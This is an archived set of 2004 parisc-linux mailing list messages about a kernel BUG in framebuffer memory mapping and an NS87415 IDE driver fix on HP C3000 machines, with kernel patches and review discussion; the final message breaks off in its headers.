Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16606 invoked by uid 65534); 10 Jul 2004 11:55:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx043) with SMTP; 10 Jul 2004 13:55:10 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 623733BDF9; Sat, 10 Jul 2004 05:54:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28584-01; Sat, 10 Jul 2004 05:54:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0F7573BDF8; Sat, 10 Jul 2004 05:54:22 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7B84C3BDF6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Jul 2004 05:54:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27211-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Jul 2004 05:54:18 -0600 (MDT)
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id C19D03BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Jul 2004 05:54:17 -0600 (MDT)
Original-Received: (qmail 14014 invoked by uid 65534); 10 Jul 2004 11:54:16 -0000
Original-Received: from pD9FE73D2.dip.t-dialin.net (EHLO p100) (217.254.115.210)
	by mail.gmx.net (mp019) with SMTP; 10 Jul 2004 13:54:16 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.6.82
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21789

I'm now running into this problem when trying to start X11, either with the VisEG stifb or sstfb driver.

Linux version 2.6.7-pa10 (root@p100) (gcc version 3.0.2 20010829 (prerelease)) #52 Sat Jul 10 12:13:50 CEST 2004

Machine: c3k, Kernel 2.6.7-pa10, 32bit kernel.

kernel BUG at include/asm/mmzone.h:74!
Kernel addresses on the stack:
 [<10128b94>] printk+0x108/0x184
 [<10107ee8>] dump_stack+0x18/0x24
 [<10154ab8>] remap_page_range+0x198/0x47c
 [<10166a24>] do_sync_write+0x74/0xa8
 [<102932f0>] fb_mmap+0x11c/0x130
 [<10158594>] do_mmap_pgoff+0x3b8/0x680
 [<10166ae4>] vfs_write+0x8c/0x138
 [<1010f2b4>] do_mmap2+0x74/0xdc
 [<1016615c>] sys_open+0x84/0xa8
 [<1010a35c>] tracesys_exit+0x0/0x34
 [<1010d088>] intr_check_sig+0x0/0xc

Is it maybe related to the latest CONFIG_DISCONTIGMEM or arch/parisc/mm/init.c changes ?

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel BUG at include/asm/mmzone.h:74!
Date: Sat, 10 Jul 2004 10:16:29 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <20040710171629.GN546@tausq.org>
References: <200407101354.12456.deller@gmx.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623494 10128 80.91.229.3 (22 Nov 2014 02:31:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Original-Received: from fmmailgate03.dlan.cinetic.de ([172.20.6.137] helo=fmmailgate03.web.de)
	by mxint03.web.de with esmtp (WEB.DE 4.101 #44)
	id 1BjZYF-0008E0-00
	for hdeller@web.de; Sun, 11 Jul 2004 10:19:11 +0200
Original-Received: by fmmailgate03.web.de (8.12.6/8.12.6/webde Linux 0.7) with SMTP id i6B8J7Vm016953
        for hdeller@web.de; Sun, 11 Jul 2004 10:19:11 +0200
Original-Received: from pop.gmx.net (by WEB.DE(pop3abholer) 2.2)
        for hdeller@web.de; Sun, 11 Jul 2004 10:19:11 +0200
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5931 invoked by uid 65534); 10 Jul 2004 17:16:49 -0000
Original-Received: from gandalf.tausq.org (EHLO pippin.tausq.org) (64.81.244.94)
  by mx0.gmx.net (mx001) with SMTP; 10 Jul 2004 19:16:49 +0200
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id ACBA9CD29F; Sat, 10 Jul 2004 10:16:29 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200407101354.12456.deller@gmx.de>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Original-Sender: hdeller@web.de
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21790

In reference to a message from Helge Deller, dated Jul 10:
> I'm now running into this problem when trying to start X11, either with the VisEG stifb or sstfb driver.

this is because mmio space is not handled properly by the discontigmem
support...

this patch should "fix" it, but i'm not completely happy with this 
approach.  will think about it some more. it won't work on 64-bit 
platforms because pfn_is_io() is wrong there....

you don't need CONFIG_DISCONTIGMEM on c3000, so you can also just 
disable that :)

Index: include/asm-parisc/mmzone.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/mmzone.h,v
retrieving revision 1.2
diff -u -p -r1.2 mmzone.h
--- include/asm-parisc/mmzone.h	9 Jul 2004 19:04:21 -0000	1.2
+++ include/asm-parisc/mmzone.h	10 Jul 2004 17:03:25 -0000
@@ -64,10 +64,16 @@ extern struct node_map_data node_data[];
 #define PFNNID_MAP_MAX  512     /* support 512GB */
 extern unsigned char pfnnid_map[PFNNID_MAP_MAX];
 
+#define pfn_is_io(pfn) ((pfn & (0xf0000000 >> PAGE_SHIFT)) == (0xf0000000 >> PAGE_SHIFT))
+
 static inline int pfn_to_nid(unsigned long pfn)
 {
 	unsigned int i;
 	unsigned char r;
+
+	if (unlikely(pfn_is_io(pfn)))
+		return 0;
+
 	i = pfn >> PFNNID_SHIFT;
 	BUG_ON(i >= sizeof(pfnnid_map) / sizeof(pfnnid_map[0]));
 	r = pfnnid_map[i];


randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/



From - Thu Nov 08 21:32:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel BUG at include/asm/mmzone.h:74!
Date: Sun, 11 Jul 2004 17:25:27 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <200407111725.27768.deller@gmx.de>
References: <200407101354.12456.deller@gmx.de> <20040710171629.GN546@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623495 10129 80.91.229.3 (22 Nov 2014 02:31:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12339 invoked by uid 65534); 11 Jul 2004 15:26:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 11 Jul 2004 17:26:10 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 65D7D3BE07; Sun, 11 Jul 2004 09:26:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09842-04; Sun, 11 Jul 2004 09:26:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DD5993BE0A; Sun, 11 Jul 2004 09:25:37 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8363E3BE06
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 09:25:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09842-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 09:25:33 -0600 (MDT)
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id C2A8C3BE04
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 09:25:32 -0600 (MDT)
Original-Received: (qmail 26918 invoked by uid 65534); 11 Jul 2004 15:25:31 -0000
Original-Received: from pD9FE76B4.dip.t-dialin.net (EHLO p100) (217.254.118.180)
	by mail.gmx.net (mp015) with SMTP; 11 Jul 2004 17:25:31 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.6.82
In-Reply-To: <20040710171629.GN546@tausq.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21791

Hi tausq,

On Saturday 10 July 2004 19:16, Randolph Chung wrote:
> In reference to a message from Helge Deller, dated Jul 10:
> > I'm now running into this problem when trying to start X11, either with the VisEG stifb or sstfb driver.
> 
> this is because mmio space is not handled properly by the discontigmem
> support...
> 
> this patch should "fix" it, but i'm not completely happy with this 
> approach.  will think about it some more. it won't work on 64-bit 
> platforms because pfn_is_io() is wrong there....

The patch you committed for 2.6.7-pa12 worked on my c3k.
Thanks for fixing !

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.6.4-rc1-pa3 siimage/NS87415 IDE progess (and
	another mystery)!
Date: Sun, 11 Jul 2004 16:18:29 -0600
Lines: 91
Approved: news@gmane.org
Message-ID: <20040711221829.GA27835@colo.lackof.org>
References: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
	<20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
	<Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623495 10133 80.91.229.3 (22 Nov 2014 02:31:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8273 invoked by uid 65534); 11 Jul 2004 22:18:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 12 Jul 2004 00:18:45 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 86CA03BE22; Sun, 11 Jul 2004 16:18:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14075-02; Sun, 11 Jul 2004 16:18:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6CE953BE1F; Sun, 11 Jul 2004 16:18:34 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49D773BE18
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 16:18:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13988-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 16:18:31 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 07FC03BE13
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 16:18:30 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 3CA9F29810A; Sun, 11 Jul 2004 16:18:30 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28216-01; Sun, 11 Jul 2004 16:18:29 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2D82C298109; Sun, 11 Jul 2004 16:18:29 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21792

[ Note the date! sorry...finally got around to this...]

On Tue, Mar 09, 2004 at 03:26:00PM +0000, M. Grabert wrote:
...
> But NOW I have some very weird problem for you!
...
> Anyway, the IDE hard drive works with the onboard IDE controller of the C3000!
> ... Well, not 100%. Let me explain. The mystery is:
> 
> IDE works fine (without DMA support, like in the 2.4 kernels), as long as
> I interrupt the automatic boot up and to a "sea" followed by a "bo pri".

I looked at what the firmware is doing "out of the ordinary"
and it's only writing three config space registers at 0x40-0x42 offset
of the suckyio IDE. I appended a patch that does the same thing.
Well, almost. We don't want to mask interrupts in CTRL2.

And it seems to work. At least with the CD-532E-B 32X ATAPI CD-ROM drive.
I only tried  to "dd" from a data CD with and without DMA enabled.
w/o DMA I get ~900KB/s and with DMA I get ~2.4MB/s (8K blocks).

Now if someone could explain WTH the following bits in suckyIO
mean, it would likely explain why the DMA didn't work before.
See the 87560.pdf (page 247) available from parisc-linux docs:
	
| 20.4.17 Control Register 1
...
| bit  Description
|  4   Channel 1 Drive 1 IDE/ATAPI Buffer Mode
|      0: Normal IDE prefetch buffer mode (default)
|      1: ATAPI buffer mode (no prefetching)

which I think is related to CTRL3 (0x42):
| 20.4.19 Control Register 3
...
| Bit Description
|  0  Channel 1 Pre-fetch Buffer.
|     0: Disabled
|     1: Enabled
|  1  Channel 2 Pre-fetch Buffer.
|     0: Disabled
|     1: Enabled

(NS87415 data sheet says essentially the identical thing)


Can you (or anyone else) test this patch with IDE disk drive on C3000?
If this works, I can get rid of the magic numbers (define constants)
and commit the code.

grant

Index: drivers/ide/pci/ns87415.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/ide/pci/ns87415.c,v
retrieving revision 1.16
diff -u -p -r1.16 ns87415.c
--- drivers/ide/pci/ns87415.c	16 Jun 2004 18:47:42 -0000	1.16
+++ drivers/ide/pci/ns87415.c	11 Jul 2004 21:54:17 -0000
@@ -235,6 +235,25 @@ static ide_pci_device_t ns87415_chipset 
 
 static int __devinit ns87415_init_one(struct pci_dev *dev, const struct pci_device_id *id)
 {
+#ifdef CONFIG_PARISC
+	u8 progif = 0;
+
+	/* Firmware (IODC) doesn't init this unless we interrupt
+	 * the auto-boot and "search".
+	 */
+	pci_read_config_byte(dev, PCI_CLASS_PROG, &progif);
+	pci_write_config_byte(dev, PCI_CLASS_PROG, progif | 0x8f);
+
+	/* IODC clobbers the CTRL registers with:
+	 * CTRL1 = 0xf0 = "ATAPI buffer mode (no prefetching)" for everyone
+	 * CTRL2 = 0x03 = mask chan1/2 interrupts
+	 * CTRL3 = 0x00 = "disable prefetch buffer"/"Master Wait States"
+	 */
+	pci_write_config_byte(dev, 0x40, 0xf0); /* IDE_CTRL1 */
+	pci_write_config_byte(dev, 0x41, 0x00); /* IDE_CTRL2 */
+	pci_write_config_byte(dev, 0x42, 0x00); /* IDE_CTRL3 */
+#endif
+
 	ide_setup_pci_device(dev, &ns87415_chipset);
 	return 0;
 }
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.6.4-rc1-pa3 siimage/NS87415 IDE progess (and
	another mystery)!
Date: Sun, 11 Jul 2004 16:14:01 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20040711231401.GW546@tausq.org>
References: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
	<20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
	<Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
	<20040711221829.GA27835@colo.lackof.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623495 10139 80.91.229.3 (22 Nov 2014 02:31:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17767 invoked by uid 65534); 11 Jul 2004 23:14:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx001) with SMTP; 12 Jul 2004 01:14:27 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 038D93BE23; Sun, 11 Jul 2004 17:14:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14548-03; Sun, 11 Jul 2004 17:14:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B6A233BE17; Sun, 11 Jul 2004 17:14:03 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 514E63BE15
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 17:14:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14371-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 17:14:00 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 0FAF93BE13
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 17:14:00 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 1FB14CD299; Sun, 11 Jul 2004 16:14:01 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040711221829.GA27835@colo.lackof.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21793

> Can you (or anyone else) test this patch with IDE disk drive on C3000?
> If this works, I can get rid of the magic numbers (define constants)
> and commit the code.

don't have an IDE drive to try it with, but if it works, shouldn't it be
done as a pcibios fixup instead? We already have a fixup routine in
drivers/parisc/superio.c:superio_fixup_pci(), so you can probably just
add it there.

thanks
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.6.4-rc1-pa3 siimage/NS87415 IDE progess (and
	another mystery)!
Date: Sun, 11 Jul 2004 23:48:34 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20040711224834.GA9503@sal.ucc.ie>
References: <Pine.LNX.4.58.0403040044200.14527@sal.ucc.ie>
	<20040309063629.GM1113@tausq.org>
	<Pine.LNX.4.58.0403090656070.13701@sal.ucc.ie>
	<20040309072917.GN1113@tausq.org>
	<Pine.LNX.4.58.0403091401480.16082@sal.ucc.ie>
	<20040711221829.GA27835@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
X-Trace: ger.gmane.org 1416623496 10141 80.91.229.3 (22 Nov 2014 02:31:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4092 invoked by uid 65534); 11 Jul 2004 22:49:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 12 Jul 2004 00:49:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B69223BE22; Sun, 11 Jul 2004 16:49:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14075-09; Sun, 11 Jul 2004 16:49:01 -0600 (MDT)
